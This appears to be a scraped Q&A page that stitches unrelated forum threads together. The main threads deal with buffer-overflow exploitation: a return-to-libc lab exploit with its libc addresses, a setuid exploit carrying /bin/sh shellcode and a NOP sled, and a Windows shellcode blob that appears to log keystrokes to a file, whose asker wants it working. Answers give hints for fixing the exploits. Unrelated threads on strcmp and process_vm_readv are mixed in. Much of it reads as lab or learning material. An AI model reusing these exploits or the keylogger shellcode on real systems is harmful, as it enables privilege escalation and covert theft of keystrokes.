This is a two part question:
a)I am working with a Return-into-libc attack and not getting a root shell for some reason. I am supposed to take a vulnerable program: retlib.c.
/* retlib.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
I am using my exploit: exploit_1.c
/* exploit_1.c */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
*(long *) &buf[24] = 0xbffffe86; // "/bin/sh"
*(long *) &buf[16] = 0x40076430; // system()
*(long *) &buf[20] = 0x40069fb0; // exit()
fwrite(buf, 40, 1, badfile);
fclose(badfile);
}
I found the addresses of system and exit using gdb:
(gdb) b main
Breakpoint 1 at 0x80484b7
(gdb) r
Starting program: /home/cs4393/project2/exploit_1
Breakpoint 1, 0x080484b7 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40076430 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x40069fb0 <exit>
(gdb)
I found the /bin/sh address using the myshell.c program:
//myshell.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void main (){
char* shell = getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int) shell);
}
Than using the commands:
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ export MYSHELL=/bin/sh
[02/15/2015 21:46] cs4393#ubuntu:~/project2$ ./myshell
bffffe86
I feel like I have done everything right, but I keep getting a "Segmentation fault (core dumped)". I am using no -fstack-protector, chmod 4755 and ASLR turned off. Any thoughts on what is wrong?
b) I am also working with retlib-env.c:
/*retlib-env.c*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 128, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
char* shell=getenv("MYSHELL");
if(shell)
printf("%x\n", (unsigned int)shell);
badfile = fopen("badfile", "r");
//system(shell);
bof(badfile);
printf("Returned Properly\n");
fclose(badfile);
return 1;
}
This seems to me to be similar to part a, but "In this example, the vulnerable program retlib-env.c will reference MYSHELL environment." I don't know what I need to add to my exploit to make it work. Any hints or nudges in the right direction would be really helpful. I have MYSHELL, but i'm not really sure how I need to reference it to exploit the retlib-env.c. Shouldn't it be pretty similar to part a?
Probably the addresses of functions system(), exit() etc change at every program invocation. You cannot rely on loadng the pogram, degbugging for these addresses, closing the debug session and running the program again as the perogram may have been loaded at a completely different starting address the second time.
$gdb -q retlib
You need to find system and exit address of retlib not exploit. Exploit only prepare a exploit file. Retlib reads this file till buffer overflow. As far as I know the system address segment should start 12 after the buffer that means it will be buf[24].
The length of the program's name will influence the address of the environment variables in the stack. To get the correct address of string /bin/sh, you should keep the length of the program to search /bin/sh (i.e. myshell) equals the length of your final attack program (i.e. retlib).
Besides, you need to find out the return frame address which is supposed to be 4 plus the distance between ebp and &buffer in bof, which is supposed to be 20+4=24 rather than 16 in your code. You can verifiy it by gdb on the program compiled with flag -g.
Related
I want to create a program exploit that calls testme.c to perform a buffer overflow operation which should call another program myname.c.
The code for the testme.c program:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char a[100], b[100], c[100], d[100];
// Call the exploitable function
exploitable(argv[1]);
return(0);
}
int exploitable(char *arg){
// Make stack space of 10 bytes
char buffer[10];
// Copy input to buffer
strcpy(buffer, arg);
printf("The buffer says .. [%s/%p].\n", buffer, &buffer);
return(0);
}
The code for the myname.c program:
#include <stdio.h>
#include <time.h>
int main(){
printf("Name: SNS\n");
printf("Location: 41.13957, -104.81815\n");
time_t t;
time(&t);
printf("Date and time: %s\n",ctime(&t));
}
I have disabled address randomization and compiled both programs with -fno-stack-protector. Using gdb I can see that in testme.c, the return address after calling the exploitable function is 0x00000000000011a0:
testmemain
I need this to change to 0x00000000000011a9, which is the address of the main function of the myname.c program:
mynamemain
I know how to overflow the buffer variable in the exploitable function by giving a long enough string input to get a segmentation fault, but I cannot proceed any further than this. I have checked other tutorials in which the next step is to show how to spawn a shell, but I want testme.c to call myname.c through a buffer overflow. I am doing this on a 64-bit Ubuntu virtual machine.
I am writing a program in which I need to get the value of the second command line argument to later determine what algorithm to use.
Command line argument: $ ./project2 FIRSTFIT 268435456 testfile.txt
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdbool.h>
//~~~~~~~~~~~~~~~~ Main
int main(int argc, char *argv[])
{
/*
Reading in the parameters from command line
argv[0] = the program
argv[1] = the type of memory allocation algorithm to use
argv[2] = N = total memory allocation
argv[3] = script file (.txt)
*/
char* memAlgoType = (char*)argv[1];
int totalMemAlloc = atoi(argv[2]);
FILE* file;
file = fopen(argv[3], "r");
//~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ First fit
if(strcmp(memAlgoType, "FIRSTFIT") == 0)
{
//code for first fit algorithm here
}
}
When I do this, I get segmentation faults (core dump) errors and on my XCode IDE, I get an EXC_BAD_ACCESS error when I use strcmp()
I have tried revising my code to char memAlgoType = (char)argv[1][0]; to only compare the first characters
I have tried strcpy(memAlgoType, argv[1]) and also tried the memcpy() method as well. All of which give me segmentation faults.
Check with argc if all arguments are provided.
NOTE: int totalMemAlloc = atoi(argv[2]); can be dangerous with large numbers.
So, to start off with, I am on Kali 2020.1, fully updated. 64 bit.
The source code is as follows:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include "hacking.h"
#include <unistd.h>
#include <stdlib.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
long int i, *ptr, ret, offset=270;
char *command, *buffer;
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (long int) &i - offset; // Set return address.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
Now, some important clarifications. I included all those libraries because compilation throws warnings without them.
The preceding notetaker and notesearch programs, as well as this exploit_notesearch program have been compiled as follows in the Terminal:
gcc -g -mpreferred-stack-boundary=4 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack -o exploit_notesearch exploit_notesearch.c
I no longer remember the source which said I must compile this way (the preferred stack boundary was 2 for them, but my machine requires it to be between 4 and 12). Also, the stack is executable now as you can see.
All 3 programs (notetaker, notesearch, and exploit_notesearch) had their permissions modified as in the book:
sudo chown root:root ./program_name
sudo chmod u+s ./program_name
I tried following the solution from this link: Debugging Buffer Overflow Example , but to no avail. Same goes for this link: Not So Fast Shellcode Exploit
Changing the offset incrementally from 0 to 330 by using increments of 1, 10, 20, and 30 in the terminal using a for-loop also did not solve my problem. I keep getting a segmentation fault no matter what I do.
What could be the issue in my case and what would be the best way to overcome said issue? Thank you.
P.S I remember reading that I'm supposed to use 64-bit shellcode instead of the one provided.
When you are segfaulting, it is a great time to run it within a debugger like GDB. It should tell you right where you are crashing, and you can step through the execution and validate the assumptions you are making. The most common segfaults tend to be invalid memory permissions (like trying to execute a non-executable page) or an invalid instruction (eg., if you land in the middle of shellcode, not in a NOP sled).
You are running into a couple of issues trying to convert the exploit to work on 32-bit. When filling the buffer with return addresses, it's using the constant 4 when pointers on 64-bit are actually 8 bytes.
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
That could also present some issues when trying to exploit the strcpy bug, because those 64-bit addresses will contain NULL bytes (since the usable address space only uses 6 of the 8 bytes). Thus, if you have some premature NULL bytes before actually overwriting the return address on the stack, you won't actually copy enough data to leverage the overflow as intended.
I am developing a Hobby operating system, for that I want to know the mechanism of memory allocation in Linux, to understand that, I created a simple C program that defines a unsigned char of some hex numbers and then runs in a empty infinite loop, I did this to keep the process alive. Then I used pmap to get page-mapping information. Now I know the location of stack segment, also I have created a program that uses process_vm_readv syscall to read the contents of that address, all I see a stream of 00 when I read the contents of stack segment and some random numbers at last, How can I be able to figure out how the array is stored in the stack segment?
If that is possible, how can I analyze the hex stream to extract meaningful information ?
Here I am adding a demonstration for accessing address space of a remote process, There are two programs local.c which will read and write a variable in another program named remote.c (These program assumes sizeof(int)==4 )
local.c
#define _GNU_SOURCE
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/syscall.h>
int main()
{
char buf[4];
struct iovec local[1];
struct iovec remote[1];
int pid;
void *addr;
printf("Enter remote pid\n");
scanf("%d",&pid);
printf("Enter remote address\n");
scanf("%p", &addr);
local[0].iov_base = buf;
local[0].iov_len = 4;
remote[0].iov_base = addr;
remote[0].iov_len = 4;
if(syscall(SYS_process_vm_readv,pid,local,1,remote,1,0) == -1) {
perror("");
return -1;
}
printf("read : %d\n",*(int*)buf);
*(int*)buf = 4321;
if(syscall(SYS_process_vm_writev,pid,local,1,remote,1,0) == -1) {
perror("");
return -1;
}
return 0;
}
remote.c
#define _GNU_SOURCE
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/syscall.h>
int main()
{
int a = 1234;
printf("%d %p\n",getpid(),&a);
while(a == 1234);
printf ("'a' changed to %d\n",a);
return 0;
}
And if you run this on a Linux machine,
[ajith#localhost Desktop]$ gcc remote.c -o remote -Wall
[ajith#localhost Desktop]$ ./remote
4574 0x7fffc4f4eb6c
'a' changed to 4321
[ajith#localhost Desktop]$
[ajith#localhost Desktop]$ gcc local.c -o local -Wall
[ajith#localhost Desktop]$ ./local
Enter remote pid
4574
Enter remote address
0x7fffc4f4eb6c
read : 1234
[ajith#localhost Desktop]$
Using the similar way you can read stack frame to the io-vectors, But you need to know the stack frame structure format to parse the values of local variables from stack frame. stack frame contains function parameters, return address, local variables, etc
If I execute the following code, it´s prin this stack dump error message:
1 [main] MyProg 10876 cygwin_exception::open_stackdumpfile: Dumping stack trace to MyProg.exe.stackdump
after it prints
Shellcode length: 601
Can you say me, what I should change, to get it working?
I have compiled it with Sublime Text and cygwin on Windows 10 64bit.
This is the code:
#include <stdio.h>
#include <string.h>
const char sc[] = "\xfc\x31\xd2\xb2\x30\x64\xff\x32\x5a\x8b\x52\x0c\x8b\x52\x14\x8b"
"\x72\x28\x31\xc0\x89\xc1\xb1\x03\xac\xc1\xc0\x08\xac\xe2\xf9\xac"
"\x3d\x4e\x52\x45\x4b\x74\x05\x3d\x6e\x72\x65\x6b\x8b\x5a\x10\x8b"
"\x12\x75\xdc\x8b\x53\x3c\x01\xda\xff\x72\x34\x8b\x52\x78\x01\xda"
"\x8b\x72\x20\x01\xde\x31\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64"
"\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c\x4e\x8b"
"\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd7\x52\x31\xc0\x50\x68"
"\x64\x6c\x65\x41\x68\x65\x48\x61\x6e\x68\x6f\x64\x75\x6c\x68\x47"
"\x65\x74\x4d\x54\x53\xff\xd7\x8d\x64\x24\x14\x50\x68\x4c\x4c\x01"
"\x88\xfe\x4c\x24\x02\x68\x33\x32\x2e\x44\x68\x55\x53\x45\x52\x54"
"\xff\xd0\x31\xd2\x39\xd0\x75\x38\x8d\x64\x24\x0c\x52\x68\x61\x72"
"\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x53\xff\xd7"
"\x8d\x64\x24\x10\x50\x68\x4c\x4c\x01\x77\xfe\x4c\x24\x02\x68\x33"
"\x32\x2e\x44\x68\x55\x53\x45\x52\x54\xff\xd0\x8d\x64\x24\x0c\x50"
"\x89\xc2\x68\x61\x74\x65\x01\xfe\x4c\x24\x03\x68\x65\x79\x53\x74"
"\x68\x47\x65\x74\x4b\x54\x52\xff\xd7\x8d\x64\x24\x0c\x50\x68\x65"
"\x01\x01\x55\xfe\x4c\x24\x01\x68\x65\x46\x69\x6c\x68\x57\x72\x69"
"\x74\x54\x53\xff\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe"
"\x4c\x24\x03\x68\x74\x65\x46\x69\x68\x43\x72\x65\x61\x54\x53\xff"
"\xd7\x8d\x64\x24\x0c\x50\x68\x6c\x65\x41\x01\xfe\x4c\x24\x03\x68"
"\x72\x69\x61\x62\x68\x6e\x74\x56\x61\x68\x6f\x6e\x6d\x65\x68\x6e"
"\x76\x69\x72\x68\x47\x65\x74\x45\x54\x53\xff\xd7\x8d\x64\x24\x18"
"\x50\x6a\x70\x68\x53\x6c\x65\x65\x54\x53\xff\xd7\x8d\x64\x24\x08"
"\x50\x52\x68\x63\x61\x74\x41\x68\x6c\x73\x74\x72\x54\x53\xff\xd7"
"\x8d\x64\x24\x0c\x50\x31\xc9\xb1\x0e\x51\xe2\xfd\x51\x68\x54\x45"
"\x4d\x50\x89\xe1\x6a\x40\x51\x51\xff\x54\x24\x54\x89\xe2\x6a\x01"
"\xfe\x0c\x24\x68\x2e\x62\x69\x6e\x68\x5c\x6c\x6f\x67\x89\xe1\x51"
"\x52\xff\x54\x24\x54\x31\xc9\x51\x51\x80\x04\x24\x80\x6a\x04\x51"
"\x6a\x02\x51\x80\x04\x24\x04\x50\xff\x54\x24\x74\x8d\x64\x24\x4c"
"\x50\x31\xc9\x89\xce\xb1\x08\x56\xe2\xfd\x31\xc9\x31\xf6\x6a\x08"
"\xff\x54\x24\x2c\x89\xf0\x3c\xff\x73\xf0\x46\x56\xff\x54\x24\x3c"
"\x89\xf2\x31\xc9\xb1\x80\x21\xc8\x31\xc9\x39\xc8\x75\x10\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xb3\x14\x84\xeb\xd6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xa3\x14\x84\x72\xc6\x31\xd2"
"\x89\xd1\x89\xf0\xb1\x20\xf7\xf1\x0f\xab\x14\x84\x31\xc9\x56\x51"
"\x8d\x0c\x24\x51\x6a\x01\x8d\x4c\x24\x0c\x51\xff\x74\x24\x34\xff"
"\x54\x24\x4c\x8d\x64\x24\x04\xeb\x91";
int main(int argc, char *argv[]){
printf("Shellcode length: %d\n", (int)strlen(sc));
(*(void(*)(void))&sc)();
return 0;
}
This: (*(void(*)(void))&sc)();
You're taking a pointer to the first element of a const char[], casting it to a function pointer and attempting to execute that function.
I can't honestly imagine that ever succeeding.... the only way I can think of to 'get it working', since I have no idea what your intention is, is to not cast const char pointer and attempt to execute it as a function.
If you just want a pointer to a function, this is easy:
void sc (void)
{
// do things
}
int main (void)
{
void (*fptr)(void);
fptr = sc;
fptr();
}